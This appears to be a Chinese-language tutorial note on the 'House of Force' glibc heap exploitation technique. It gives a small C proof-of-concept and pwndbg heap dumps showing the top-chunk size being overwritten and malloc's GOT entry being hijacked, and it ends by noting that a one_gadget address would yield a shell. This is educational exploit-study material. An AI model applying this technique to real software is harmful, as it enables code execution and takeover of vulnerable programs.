·
源于论文:The malloc maleficarum
·
·
利用条件
·
能够以溢出的方式控制到top chunk的size域
能够自由地控制堆分配尺寸的大小
可以构造size拿到top chunk本身之外的内存,如libc的内存空间
#include<stdio.h> #include<malloc.h> #include<unistd.h> #include<string.h> int main(){ long *p = malloc(0x10); sleep(0); *(p+0x3) = -1; sleep(0); malloc(-4120); sleep; void *q = malloc(0x10); strcpy(q,"aaaaaaaa"); malloc(0); sleep(0); return 0; }
·
初始堆块
·
pwndbg> heap 0x602000 FASTBIN { prev_size = 0, size = 33, fd = 0x0, -->p指针指向fd bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x20fe1 } 0x602020 PREV_INUSE { prev_size = 0, size = 135137, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 }
pwndbg> x/20gz 0x602000 0x602000: 0x0000000000000000 0x0000000000000021 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000020fe1 0x602030: 0x0000000000000000 0x0000000000000000
从内存布局可以看到(p+0x3)指向top chunk的size位
·
修改top chunk的size位后
·
pwndbg> x/20gz 0x602000 0x602000: 0x0000000000000000 0x0000000000000021 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0xffffffffffffffff
·
malloc(-4120)之后
·
0x602000 FASTBIN { prev_size = 0, size = 33, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0xffffffffffffeff1 } 0x602020 PREV_INUSE { prev_size = 0, size = 18446744073709547505, -->malloc(-4120) fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x601010 PREV_INUSE { //可以看到现在的堆块已经到libc的got表了 prev_size = 140737351970320, size = 4105, bk = 0x7ffff7ad9230 <__GI___libc_malloc>, // got_malloc的地址 fd_nextsize = 0x0 <__sleep>, // got_sleep的地址 bk_nextsize = 0x0 }
malloc(-4120)的原因:当堆可分配的内存分配完之后就会到顶层的bss段,这里也不一定是-4120
·
再次申请内存 q
·
0x601010 FASTBIN { prev_size = 140737351970320, size = 33, fd = 0x7ffff7a91130 <__GI___libc_malloc>, bk = 0x7ffff7ad9230 <__sleep>, fd_nextsize = 0x0, bk_nextsize = 0xfe9 }
相当于把got表所在的内存空间malloc下来了
·
向 q 中写入aaaaaaaa
·
0x601010 FASTBIN { prev_size = 140737351970320, size = 33, fd = 0x6161616161616161, //aaaaaaaa bk = 0x7ffff7ad9200 <alarm>, fd_nextsize = 0x0, bk_nextsize = 0xfe9 }
·
再次malloc(0)
·
报错
因为上面写入的aaaaaaaa已经把malloc_got的内容修改为了aaaaaaaa
这里我么可以写入onegadget的地址,就能getshell